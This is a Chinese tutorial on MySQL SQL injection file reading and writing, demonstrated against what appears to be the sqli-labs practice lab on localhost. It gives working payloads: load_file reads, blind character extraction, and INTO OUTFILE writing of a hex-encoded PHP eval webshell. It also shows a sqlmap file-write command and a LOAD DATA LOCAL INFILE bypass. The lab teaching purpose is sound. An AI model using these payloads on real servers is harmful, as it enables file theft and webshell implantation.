sql注入文件讀寫


secure_file_priv對讀寫文件的影響:

secure_file_priv在mysql的my.ini中設置,用來限制 load_file()、into outfile、into dumpfile 函數在哪個目錄下擁有上傳或者讀取文件的權限

在 MySQL 5.5 之前 secure_file_priv 默認為空

在 MySQL 5.5 之后 secure_file_priv 默認為NULL


sql注入文件讀寫方式:

load_file() :讀取指定文件

LOAD DATA LOCAL INFILE:讀取指定文件[當secure_file_priv為null時可以代替load_file()]

into outfile :將查詢的數據寫入文件中

into dumpfile:將查詢的數據寫入文件中 (只能寫入一行數據)

sqlmap: --file-write 要寫入的文件 --file-dest 寫入的絕對路徑


查看secure_file_priv設置狀態

show global variables like 'secure%';

限制mysqld 不允許導入/導出:secure_file_priv=null (默認)

限制mysqld 的導入/導出 只能發生在/tmp/目錄下:secure_file_priv=/tmp/

不對mysqld 的導入/導出做限制:secure_file_priv=''


當secure_file_priv=''時:

image

image

load_file()讀本地文件:

union注入讀取本地文件

image

http://127.0.0.1/mysql/Less-1/?id=-1' union select 1,2,load_file('c:/users/91839/desktop/2.txt') --+

也可以把文件名轉換成16進制

http://127.0.0.1/mysql/Less-1/?id=-1' union select 1,2,load_file(0x633A2F75736572732F39313833392F6465736B746F702F312E747874) --+

image

利用盲注讀取,然后用二分法一個一個的判斷字符

其中2.txt第一個字符為c,按照ascii碼對照表對應為99

image

http://127.0.0.1/mysql/Less-1/?id=1' and ascii(mid((select (load_file('c:/users/91839/desktop/2.txt'))),1,1))>98 --+

image

http://127.0.0.1/mysql/Less-1/?id=1' and ascii(mid((select (load_file('c:/users/91839/desktop/2.txt'))),1,1))>99 --+

image

同樣也可以用時間盲注,用同樣的方式手工把表名和列名讀出來

into outfile/into dumpfile:將查詢的數據寫入文件中

(into dumpfile只能寫入一行數據)

利用union注入寫入一句話木馬 into outfile 和 into dumpfile 都可以

http://127.0.0.1/mysql/Less-1/?id=-1' union select 1,2,'一句話' into outfile 'c:/users/91839/desktop/10.txt' --+

image

照樣可以將一句話木馬轉換成16進制

http://127.0.0.1/mysql/Less-1/?id=-1' union select 1,2,0x3C3F70687020406576616C28245F504F53545B6361726E5D293B3F3E into outfile 'c:/users/91839/desktop/200.txt' --+

image

--file-write --file-dest:利用sqlmap寫入文件

在sqlmap中,如果寫的權限,知道絕對路徑,並且secure_file_priv為空就可以寫入文件

利用sqlmap將本地文件寫入靶機的c:/users/91839/desktop/shell.txt

python3 sqlmap.py -u "http://127.0.0.1/mysql/Less-1/?id=1" --random-agent --risk 3 --file-write "shell.txt" --file-dest "c:/users/91839/desktop/shell.txt"

image


當secure_file_priv=null時:

image

LOAD DATA LOCAL INFILE

LOAD DATA LOCAL INFILE與load_file都是讀取本地文件,load_file只能在secure_file_priv為空時讀取,而LOAD DATA LOCAL INFILE不受限制。所以當secure_file_priv 的值為 NULL的時候可以用LOAD DATA LOCAL INFILE來充當load_file的效果

image

drop table mysql.m1; //先刪除掉這個表

CREATE TABLE mysql.m1 (code TEXT ); //然后創建

LOAD DATA LOCAL INFILE 'c:/users/91839/desktop/1.txt' INTO TABLE mysql.m1 fields terminated by ''; //讀取文件

select * from mysql.m1; //查看文件

image


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM